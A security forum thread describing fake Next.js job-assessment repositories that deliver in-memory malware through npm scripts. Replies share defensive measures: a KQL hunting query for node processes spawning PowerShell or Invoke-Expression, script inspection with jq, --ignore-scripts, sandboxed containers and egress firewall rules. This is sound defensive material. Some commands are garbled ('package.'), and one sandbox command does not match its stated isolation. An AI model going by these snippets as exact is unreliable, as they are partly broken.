Fake Next.js Job Repos: In-Memory Malware & Job Assessment Lures
Everyone, keep an eye out for this. Microsoft is tracking a coordinated campaign specifically targeting devs with fake Next.js repositories. The lure? Technical assessments for job applications. It’s a blend of supply chain attacks and social engineering.
The malicious payload executes entirely in memory (fileless) after running standard commands like npm install or npm start. This means traditional signature-based AV often misses it because there's no malicious file on disk to scan.
Detection Strategy:
You need to focus on behavioral anomalies rather than just static signatures. Watch for unusual process trees spawning from node.exe or npm.
Here is a basic KQL query to hunt for suspicious parent-child relationships:
DeviceProcessEvents
| where InitiatingProcessFileName hasAny ("node.exe", "npm.cmd")
| where ProcessCommandLine contains "Invoke-Expression" or FileName in~ ("powershell.exe", "cmd.exe")
| where Timestamp > ago(7d)
Also, always audit package. before running anything, especially the preinstall and postinstall scripts.
cat package. | jq '.scripts'
Given that this blends into "routine developer workflows," how are your teams handling external code assessments? Are you using dedicated isolated sandboxes, or just spinning up temporary VMs?
Great post. From a SOC perspective, the in-memory aspect is the real headache here. We've started flagging any Node.js process that spawns a PowerShell child immediately after startup. It's noisy in dev environments, but essential for prod. I'd also recommend enabling AMSI (Antimalware Scan Interface) if you're on Windows, as it can catch some of the obfuscated JS execution attempts before they hit memory.
We enforce a strict 'air-gap' policy for these tests. No external code touches our corporate network or developer laptops. If a candidate sends a repo link, it goes straight into a disposable Docker container or a dedicated VM that has no internet access and no mounted volumes.
docker run -it --rm -v $(pwd):/app -w /app node:18-alpine sh
It adds 5 minutes to the review process, but it beats explaining a breach to the CISO.
I actually fell for a variant of this last year (not Next.js, but a Python script). The social engineering is top-tier—they use urgency and flattery to make you skip the due diligence. Always check the commit history. If a repo supposedly has 3 years of history but the last commit was '2 hours ago' by a generic user, burn it.
Solid advice. Since npm audit often misses these targeted supply chain attacks, I always inspect the package. lifecycle scripts before execution. The postinstall hook is a favorite for loading in-memory payloads. Run this to check for suspicious scripts:
cat package. | jq '.scripts'
If anything points to a raw URL or looks obfuscated, investigate further. Also, setting the `--ignore-scripts` flag when installing is a safe habit for unfamiliar repos.
Excellent thread. Building on the detection aspect, strict egress filtering is crucial since these payloads often need to 'phone home'. If you're on Windows, you can script a temporary block for all outbound Node.js traffic except to allowed ranges:
New-NetFirewallRule -DisplayName 'Block Node Outbound' -Direction Outbound -Program 'node.exe' -Action Block
This stops the C2 callback even if the script runs in memory. Just remember to clean it up afterwards!
Building on Leo’s point regarding postinstall hooks, a practical immediate mitigation for these assessments is running the installation with scripts disabled. This prevents the payload from executing during the setup phase.
You can run:
npm install --ignore-scripts
Once installed, you can manually inspect the node_modules or source code before deciding to enable execution. This 'default deny' approach for lifecycle scripts allows you to analyze the supply chain without triggering the in-memory malware immediately.
Verified Access Required
To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.
Request Access